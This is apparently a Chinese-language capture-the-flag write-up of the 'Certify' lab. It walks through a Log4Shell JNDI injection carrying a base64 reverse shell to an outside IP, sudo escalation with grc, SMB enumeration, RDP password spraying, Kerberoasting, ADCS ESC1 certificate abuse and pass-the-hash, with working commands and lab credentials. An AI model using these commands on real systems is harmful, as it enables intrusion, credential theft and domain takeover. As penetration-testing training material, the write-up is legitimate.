春秋云镜 Certify
flag1
存在log4j2
且为jdk1.8u101,低版本直接注
打CVE-2021-44228
https://blog.csdn.net/qq_55202378/article/details/139736712
随便找个在Log4j日志中会记录的点进行注入都可以
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNzQuMTk3LzE5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 117.72.74.197 |
bash -i >& /dev/tcp/117.72.74.197/1999 0>&1
http://39.98.117.34:8983/solr/admin/cores?action=${jndi:ldap://117.72.74.197:1389/4qvbv2}
sudo -l查看能以sudo运行的特权命令,看到一个NOPASSWD的东西,grc
GTFOBins找到grc的提权方式
sudo grc –pty /bin/sh
提到root权限
转交互式shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
flag01: flag{d1e4e61d-4803-49b1-983b-f0749d468733}
flag2
看到是linux系统
网段位于172.22.9.19/24
从自己vps下一个fscan扫描内网
1 | 172.22.9.26 winServer 2016 |
不过这里没扫出有13主机?
先写个ssh压压惊
先内网代理出来
1 | ./gost -L socks5://:5555?bind=true |
47为fileserver,推测存在smb服务,nmap扫一下445端口
1 | proxychains4 nmap -sT -p445 172.22.9.47 |
先列出目标机器上的共享资源
1 | proxychains smbclient -L //172.22.9.47 |
看到有个bill share
smbclient链接
1 | proxychains smbclient //172.22.9.47/fileshare |
列目录看到有以下文件
secret文件夹下有flag02.txt
flag02: flag{8a3acdf1-67a2-445f-91a7-af57ad3f2a73}
这里还提示了:
Yes, you have enumerated smb. But do you know what an SPN is?
flag3
把personal.db下下来,有三个表
可以用hydra去做密码喷洒,用户为上面的这个表,密码为下面的4个中的一个
copy出来用crackmapexec对整个网段做喷洒,服务为rdp
1 | proxychains crackmapexec rdp 172.22.9.1/24 -u user.txt -p pass.txt --continue-on-success 2>/dev/null |
得到172.22.9.26的两个用户
1 | xiaorang.lab\zhangjian:i9XDE02pLVf |
直接打域控的kerberoasting攻击
1 | proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf |
获取到了两个用户的SPN
获取到SPN票据
使用hashcat进行破解
1 | cp /usr/share/wordlists/rockyou.txt.gz /home/kali/Desktop |
zhangxia MyPass2@@6
这里rdestop显示版本有问题,可能是机器太老了,rdp版本不行
xfreerdp和rdestop有啥区别
1 | proxychains xfreerdp /u:"zhangxia@xiaorang.lab" /v:172.22.9.26:3389 |
链上来,权限有些低
找到一个有漏洞的证书模板XR Manager
1 | Certify.exe find /vulnerable |
这里满足:
- msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户 - PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证 - Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
可以打ESC1
我看到有工具可以自动识别证书属于哪种类型漏洞,我找找哦
1 | proxychains4 certipy-ad find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout |
certipy-ad find就可以
修改/etc/hosts
1 | 172.22.9.7 xiaorang.lab |
1 | proxychains certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab' |
administrator的模拟证书保存到了administrator.pfx
继续获取管理员hash
1 | proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7 |
Got hash for ‘administrator@xiaorang.lab‘: aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80
1 | proxychains impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26 -codec gbk |
type C:\Users\Administrator\flag\flag03.txt
flag03: flag{74f4b89b-5170-4a31-bf14-3e2f9c6232df}
flag4
1 | proxychains impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7 -codec gbk |
flag04: flag{4981db43-8bf8-47de-a5fd-695aec6d1fdb}
问题
xfreerdp和rdestop有啥区别
rdesktop主要支持 RDP 4.0-7.0,已停止维护
xfreerdp支持最新的 RDP 7.0-10.0 协议
kerberoasting攻击
proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
自动发现域中所有配置了SPN的服务账户
1 | 攻击获得的数据: |
在Active Directory域环境中,Kerberos协议允许任何经过认证的域用户请求任何服务(SPN)的服务票据(TGS)。这些服务票据是使用服务账户的密码哈希加密的。因此,即使是一个普通的域用户(如zhangjian),也可以请求域内所有注册了SPN的服务账户的票据。
Kerberos
使用所请求服务的 NTLM
哈希来加密给定服务主体名称 (SPN) 的 KRB_TGS
票证。当域用户向域控制器 KDC
发送针对已注册 SPN
的任何服务的 TGS 票证
请求时,KDC
会生成 KRB_TGS
攻击者可以离线使用例如hashcat
来暴力破解服务帐户的密码
获取到的服务票据有可能不是初始请求用户的,这样就能扩大权限范围
这一切本来是没什么问题的,因为TGS票据在密码够强壮的情况下是破解不出来的,也就没什么用。问题在于部分用户的密码不够强壮
ADCS攻击
https://abrictosecurity.com/pentesting-active-directory-certificate-services-adcs-esc1-esc8/
为什么26rdp的zhangjian账密要去域控7使用
根据kerberoasting攻击,用域用户去域控上请求SPN得到TGS
为什么这里从域控7主机打下zhangxia的SPN要去26使用?
因为根据上面的kerberoasting攻击,获取到的TGS不一定是域控上的